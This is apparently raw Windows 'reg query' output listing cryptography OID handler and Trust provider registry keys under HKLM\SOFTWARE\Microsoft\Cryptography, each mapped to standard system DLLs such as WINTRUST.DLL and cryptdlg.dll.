HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.1.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllDecodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2000
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2001
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2002
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2003
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2004
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2005
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2006
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2007
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2008
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2009
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2010
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2011
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2012
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2130
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2221
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2222
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2223
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.1
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.1.1
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.10
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.11
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.12
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.15
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.20
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.25
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.26
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.27
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.28
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.30
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.2
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.3
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.4.4
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.1.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.1
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.11
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.12
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.2
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.3
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.4
    Dll    REG_SZ    C:\Windows\System32\inetcomm.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\1.3.6.1.5.5.7.3.4
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 1\CryptDllFormatObject\2.5.29.32
    Dll    REG_SZ    C:\Windows\System32\cryptdlg.dll

End of search: 207 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\CertCheck\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Certificate\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Cleanup\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsec.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsecimpl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\urlmon.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\ieframe.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{7801EBD0-CF4B-11D0-851F-0060979387EA}
    $DLL    REG_SZ    C:\Windows\System32\Cryptdlg.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Initialization\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
